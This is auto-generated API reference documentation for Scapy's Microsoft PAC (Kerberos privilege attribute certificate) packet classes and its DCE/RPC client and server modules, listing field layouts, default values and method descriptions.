class scapy.layers.msrpce.mspac.KERB_VALIDATION_INFO(_pkt, /, *, LogonTime=<FILETIME  |>, LogoffTime=<FILETIME  |>, KickOffTime=<FILETIME  |>, PasswordLastSet=<FILETIME  |>, PasswordCanChange=<FILETIME  |>, PasswordMustChange=<FILETIME  |>, EffectiveName=<RPC_UNICODE_STRING  |>, FullName=<RPC_UNICODE_STRING  |>, LogonScript=<RPC_UNICODE_STRING  |>, ProfilePath=<RPC_UNICODE_STRING  |>, HomeDirectory=<RPC_UNICODE_STRING  |>, HomeDirectoryDrive=<RPC_UNICODE_STRING  |>, LogonCount=0, BadPasswordCount=0, UserId=0, PrimaryGroupId=0, GroupCount=None, GroupIds=None, UserFlags=0, UserSessionKey=<USER_SESSION_KEY  |>, LogonServer=<RPC_UNICODE_STRING  |>, LogonDomainName=<RPC_UNICODE_STRING  |>, LogonDomainId=None, Reserved1=[], UserAccountControl=0, Reserved3=[], SidCount=None, ExtraSids=None, ResourceGroupDomainSid=None, ResourceGroupCount=None, ResourceGroupIds=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/mspac.py#L184-L244]

	Bases: NDRPacket


	
ALIGNMENT = (4, 8)

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           LOGONTIME           |           LOGOFFTIME          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          KICKOFFTIME          |        PASSWORDLASTSET        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       PASSWORDCANCHANGE       |       PASSWORDMUSTCHANGE      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         EFFECTIVENAME         |            FULLNAME           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          LOGONSCRIPT          |          PROFILEPATH          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         HOMEDIRECTORY         |       HOMEDIRECTORYDRIVE      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           LOGONCOUNT          |        BADPASSWORDCOUNT       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             USERID            |         PRIMARYGROUPID        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           GROUPCOUNT          |            GROUPIDS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           USERFLAGS           |         USERSESSIONKEY        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          LOGONSERVER          |        LOGONDOMAINNAME        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         LOGONDOMAINID         |           RESERVED1           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       USERACCOUNTCONTROL      |           RESERVED3           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            SIDCOUNT           |           EXTRASIDS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     RESOURCEGROUPDOMAINSID    |       RESOURCEGROUPCOUNT      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        RESOURCEGROUPIDS       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. KERB_VALIDATION_INFO                     


KERB_VALIDATION_INFO fields






	LogonTime

	NDRPacketField

	<FILETIME  |>



	LogoffTime

	NDRPacketField

	<FILETIME  |>



	KickOffTime

	NDRPacketField

	<FILETIME  |>



	PasswordLastSet

	NDRPacketField

	<FILETIME  |>



	PasswordCanChange

	NDRPacketField

	<FILETIME  |>



	PasswordMustChange

	NDRPacketField

	<FILETIME  |>



	EffectiveName

	NDRPacketField

	<RPC_UNICODE_STRING  |>



	FullName

	NDRPacketField

	<RPC_UNICODE_STRING  |>



	LogonScript

	NDRPacketField

	<RPC_UNICODE_STRING  |>



	ProfilePath

	NDRPacketField

	<RPC_UNICODE_STRING  |>



	HomeDirectory

	NDRPacketField

	<RPC_UNICODE_STRING  |>



	HomeDirectoryDrive

	NDRPacketField

	<RPC_UNICODE_STRING  |>



	LogonCount

	NDRShortField

	0



	BadPasswordCount

	NDRShortField

	0



	UserId

	NDRIntField

	0



	PrimaryGroupId

	NDRIntField

	0



	GroupCount

	NDRIntField

	None



	GroupIds

	NDRFullPointerField

	None



	UserFlags

	NDRIntField

	0



	UserSessionKey

	NDRPacketField

	<USER_SESSION_KEY  |>



	LogonServer

	NDRPacketField

	<RPC_UNICODE_STRING  |>



	LogonDomainName

	NDRPacketField

	<RPC_UNICODE_STRING  |>



	LogonDomainId

	NDRFullPointerField

	None



	Reserved1

	NDRFieldListField

	[]



	UserAccountControl

	NDRIntField

	0



	Reserved3

	NDRFieldListField

	[]



	SidCount

	NDRIntField

	None



	ExtraSids

	NDRFullPointerField

	None



	ResourceGroupDomainSid

	NDRFullPointerField

	None



	ResourceGroupCount

	NDRIntField

	None



	ResourceGroupIds

	NDRFullPointerField

	None















	
class scapy.layers.msrpce.mspac.PACTYPE(_pkt, /, *, cBuffers=None, Version=0, Buffers=[<PAC_INFO_BUFFER  |>], Payloads=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/mspac.py#L858-L870]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            CBUFFERS                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            VERSION                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            BUFFERS            |            PAYLOADS           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. PACTYPE                           


PACTYPE fields






	cBuffers

	FieldLenField

	None



	Version

	LEIntField

	0



	Buffers

	_PACTYPEBuffers

	[<PAC_INFO_BUFFER  |>]



	Payloads

	_PACTYPEPayloads

	[]















	
class scapy.layers.msrpce.mspac.PAC_ATTRIBUTES_INFO(_pkt, /, *, FlagsLength=2, Flags=[<Flag 1 (PAC_WAS_REQUESTED)>])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/mspac.py#L755-L772]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          FLAGSLENGTH                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             FLAGS             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. PAC_ATTRIBUTES_INFO                     


PAC_ATTRIBUTES_INFO fields






	FlagsLength

	LEIntField

	2



	Flags

	FieldListField

	[<Flag 1 (PAC_WAS_REQUESTED)>]















	
class scapy.layers.msrpce.mspac.PAC_CLIENT_CLAIMS_INFO(_pkt, /, *, Claims=<CLAIMS_SET_METADATA  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/mspac.py#L680-L681]

	Bases: NDRPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             CLAIMS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. PAC_CLIENT_CLAIMS_INFO                    


PAC_CLIENT_CLAIMS_INFO fields






	Claims

	NDRPacketField

	<CLAIMS_SET_METADATA  |>















	
class scapy.layers.msrpce.mspac.PAC_CLIENT_INFO(_pkt, /, *, ClientId=None, NameLength=None, Name=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/mspac.py#L275-L282]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            CLIENTID                           |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           NAMELENGTH          |              NAME             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. PAC_CLIENT_INFO                       


PAC_CLIENT_INFO fields






	ClientId

	UTCTimeField

	None



	NameLength

	FieldLenField

	None



	Name

	StrLenFieldUtf16

	b''















	
class scapy.layers.msrpce.mspac.PAC_CREDENTIAL_INFO(_pkt, /, *, Version=0, EncryptionType=1, SerializedData=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/mspac.py#L252-L267]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            VERSION                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         ENCRYPTIONTYPE                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         SERIALIZEDDATA        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. PAC_CREDENTIAL_INFO                     


PAC_CREDENTIAL_INFO fields






	Version

	LEIntField

	0



	EncryptionType

	LEIntEnumField

	1



	SerializedData

	XStrField

	b''















	
class scapy.layers.msrpce.mspac.PAC_DEVICE_INFO(_pkt, /, *, UserId=0, PrimaryGroupId=0, AccountDomainId=None, AccountGroupCount=0, AccountGroupIds=None, SidCount=0, ExtraSids=None, DomainGroupCount=0, DomainGroup=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/mspac.py#L709-L747]

	Bases: NDRPacket


	
ALIGNMENT = (4, 8)

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             USERID            |         PRIMARYGROUPID        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        ACCOUNTDOMAINID        |       ACCOUNTGROUPCOUNT       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        ACCOUNTGROUPIDS        |            SIDCOUNT           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTRASIDS           |        DOMAINGROUPCOUNT       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          DOMAINGROUP          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. PAC_DEVICE_INFO                       


PAC_DEVICE_INFO fields






	UserId

	NDRIntField

	0



	PrimaryGroupId

	NDRIntField

	0



	AccountDomainId

	NDRFullPointerField

	None



	AccountGroupCount

	NDRIntField

	0



	AccountGroupIds

	NDRFullPointerField

	None



	SidCount

	NDRIntField

	0



	ExtraSids

	NDRFullPointerField

	None



	DomainGroupCount

	NDRIntField

	0



	DomainGroup

	NDRFullPointerField

	None















	
class scapy.layers.msrpce.mspac.PAC_INFO_BUFFER(_pkt, /, *, ulType=1, cbBufferSize=None, Offset=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/mspac.py#L75-L102]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/mspac.py#L101-L102]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             ULTYPE                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                          CBBUFFERSIZE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             OFFSET                            |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. PAC_INFO_BUFFER                       


PAC_INFO_BUFFER fields






	ulType

	LEIntEnumField

	1



	cbBufferSize

	LEIntField

	None



	Offset

	LELongField

	None















	
class scapy.layers.msrpce.mspac.PAC_REQUESTOR(_pkt, /, *, Sid=<WINNT_SID  IdentifierAuthority=<WINNT_SID_IDENTIFIER_AUTHORITY  |> |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/mspac.py#L780-L783]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              SID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. PAC_REQUESTOR                        


PAC_REQUESTOR fields






	Sid

	PacketField

	<WINNT_SID  IdentifierAuthority=<WINNT_SID_IDENTIFIER_AUTHORITY  |> |>















	
class scapy.layers.msrpce.mspac.PAC_SIGNATURE_DATA(_pkt, /, *, SignatureType=None, Signature=b'', RODCIdentifier=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/mspac.py#L290-L308]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         SIGNATURETYPE                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SIGNATURE           |         RODCIDENTIFIER        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. PAC_SIGNATURE_DATA                      


PAC_SIGNATURE_DATA fields






	SignatureType

	LEIntEnumField

	None



	Signature

	XStrLenField

	b''



	RODCIdentifier

	StrField

	b''















	
class scapy.layers.msrpce.mspac.RPC_SID_IDENTIFIER_AUTHORITY(_pkt, /, *, Value=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/mspac.py#L148-L149]

	Bases: NDRPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             VALUE                             |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. RPC_SID_IDENTIFIER_AUTHORITY                 


RPC_SID_IDENTIFIER_AUTHORITY fields






	Value

	StrFixedLenField

	b''















	
class scapy.layers.msrpce.mspac.RPC_UNICODE_STRING(_pkt, /, *, Length=None, MaximumLength=None, Buffer=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/mspac.py#L111-L127]

	Bases: NDRPacket


	
ALIGNMENT = (4, 8)

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             LENGTH            |         MAXIMUMLENGTH         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             BUFFER            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. RPC_UNICODE_STRING                      


RPC_UNICODE_STRING fields






	Length

	NDRShortField

	None



	MaximumLength

	NDRShortField

	None



	Buffer

	NDRFullPointerField

	None















	
class scapy.layers.msrpce.mspac.S4U_DELEGATION_INFO(_pkt, /, *, S4U2proxyTarget=<RPC_UNICODE_STRING  |>, TransitedListSize=None, S4UTransitedServices=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/mspac.py#L319-L333]

	Bases: NDRPacket


	
ALIGNMENT = (4, 8)

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        S4U2PROXYTARGET        |       TRANSITEDLISTSIZE       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      S4UTRANSITEDSERVICES     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. S4U_DELEGATION_INFO                     


S4U_DELEGATION_INFO fields






	S4U2proxyTarget

	NDRPacketField

	<RPC_UNICODE_STRING  |>



	TransitedListSize

	NDRIntField

	None



	S4UTransitedServices

	NDRFullPointerField

	None















	
class scapy.layers.msrpce.mspac.SID(_pkt, /, *, Revision=0, SubAuthorityCount=None, IdentifierAuthority=<RPC_SID_IDENTIFIER_AUTHORITY  |>, SubAuthority=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/mspac.py#L152-L173]

	Bases: NDRPacket


	
ALIGNMENT = (4, 8)

	




	
DEPORTED_CONFORMANTS = ['SubAuthority']

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           MAX COUNT           |    REVISION   |SUBAUTHORITYCOU|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      IDENTIFIERAUTHORITY      |          SUBAUTHORITY         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. SID                             


SID fields






	max_count

	_VirtualField

	None



	Revision

	NDRByteField

	0



	SubAuthorityCount

	NDRByteField

	None



	IdentifierAuthority

	NDRPacketField

	<RPC_SID_IDENTIFIER_AUTHORITY  |>



	SubAuthority

	NDRConfFieldListField

	[]











	
summary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/mspac.py#L172-L173]

	








	
class scapy.layers.msrpce.mspac.UPN_DNS_INFO(_pkt, /, *, UpnLen=None, UpnBufferOffset=None, DnsDomainNameLen=None, DnsDomainNameBufferOffset=None, Flags=<Flag 0 ()>, SamNameLen=None, SamNameBufferOffset=None, SidLen=None, SidBufferOffset=None, Payload=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/mspac.py#L354-L437]

	Bases: _NTLMPayloadPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             UPNLEN            |        UPNBUFFEROFFSET        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|        DNSDOMAINNAMELEN       |   DNSDOMAINNAMEBUFFEROFFSET   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             FLAGS                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SAMNAMELEN          |      SAMNAMEBUFFEROFFSET      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             SIDLEN            |        SIDBUFFEROFFSET        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            PAYLOAD            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. UPN_DNS_INFO                         


UPN_DNS_INFO fields






	UpnLen

	LEShortField

	None



	UpnBufferOffset

	LEShortField

	None



	DnsDomainNameLen

	LEShortField

	None



	DnsDomainNameBufferOffset

	LEShortField

	None



	Flags

	FlagsField

	<Flag 0 ()>



	SamNameLen

	LEShortField (Cond)

	None



	SamNameBufferOffset

	LEShortField (Cond)

	None



	SidLen

	LEShortField (Cond)

	None



	SidBufferOffset

	LEShortField (Cond)

	None



	Payload

	MultipleTypeField (_NTLMPayloadField, _NTLMPayloadField)

	[]











	
post_build(pkt: bytes, pay: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/mspac.py#L418-L437]

	








	
class scapy.layers.msrpce.mspac.USER_SESSION_KEY(_pkt, /, *, data=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/mspac.py#L144-L145]

	Bases: NDRPacket


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. USER_SESSION_KEY                       


USER_SESSION_KEY fields






	data

	PacketListField

	[]

















            

          

      

      

    

  

    
      
          
            
  
scapy.layers.msrpce.rpcclient

DCE/RPC client as per [MS-RPCE]


	
class scapy.layers.msrpce.rpcclient.DCERPC_Client(transport, ndr64=False, ndrendian='little', verb=True, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/rpcclient.py#L60-L669]

	Bases: object

A basic DCE/RPC client


	Parameters:

	ndr64 – Should ask for NDR64 when binding (default False)






	
alter_context(interface)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/rpcclient.py#L445-L449]

	Alter context: post-bind context negotiation






	
bind(interface)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/rpcclient.py#L439-L443]

	Bind the client to an interface






	
bind_or_alter(interface)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/rpcclient.py#L451-L460]

	Bind the client to an interface or alter the context if already bound






	
close()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/rpcclient.py#L144-L147]

	




	
close_smbpipe()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/rpcclient.py#L469-L475]

	Close the previously opened pipe






	
connect(ip, port=None, timeout=5, smb_kwargs={})[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/rpcclient.py#L101-L142]

	Initiate a connection






	
connect_and_bind(ip, interface, port=None, smb_kwargs={})[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/rpcclient.py#L477-L523]

	Asks the Endpoint Mapper what address to use to connect to the interface,
then uses connect() followed by a bind()






	
epm_map(interface)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/rpcclient.py#L525-L669]

	Calls ept_map (the EndPoint Manager)






	
classmethod from_smblink(smbcli, smb_kwargs={}, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/rpcclient.py#L84-L99]

	Build a DCERPC_Client from a SMB_Client.smblink directly






	
get_bind_context(interface)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/rpcclient.py#L218-L266]

	




	
open_smbpipe(name)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/rpcclient.py#L462-L467]

	Open a certain filehandle with the SMB automaton






	
send(pkt, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/rpcclient.py#L164-L177]

	




	
sr1(pkt, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/rpcclient.py#L149-L162]

	




	
sr1_req(pkt, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/rpcclient.py#L179-L216]

	








	
scapy.layers.msrpce.rpcclient.get_endpoint(ip, interface, transport=DCERPC_Transport.NCACN_IP_TCP, ndrendian='little', verb=True, smb_kwargs={})[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/rpcclient.py#L672-L702]

	Call the endpoint mapper on a remote IP to find an interface


	Parameters:

	
	ip – 


	interface – 


	mode – 


	verb – 






	Returns:

	a list of connection tuples for this interface












            

          

      

      

    

  

    
      
          
            
  
scapy.layers.msrpce.rpcserver

DCE/RPC server as per [MS-RPCE]


	
class scapy.layers.msrpce.rpcserver.DCERPC_Server(transport, ndr64=False, verb=True, local_ip=None, port=None, portmap=None, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/rpcserver.py#L58-L445]

	Bases: object


	
static answer(reqcls)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/rpcserver.py#L96-L109]

	A decorator that registers a DCE/RPC responder to a command.
See the DCE/RPC documentation.


	Parameters:

	reqcls – the DCE/RPC packet class to respond to










	
dcerpc_commands = {<class 'scapy.layers.msrpce.raw.ept.ept_map_Request'>: <function DCERPC_Server.ept_map>}

	




	
ept_map(req)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/rpcserver.py#L394-L445]

	Answer to ept_map_Request.






	
extend(server_cls)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/rpcserver.py#L111-L115]

	Extend a DCE/RPC server into another






	
get_response()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/rpcserver.py#L386-L390]

	




	
loop(sock)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/rpcserver.py#L83-L94]

	




	
make_reply(req)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/msrpce/rpcserver.py#L117-L122]

	




	
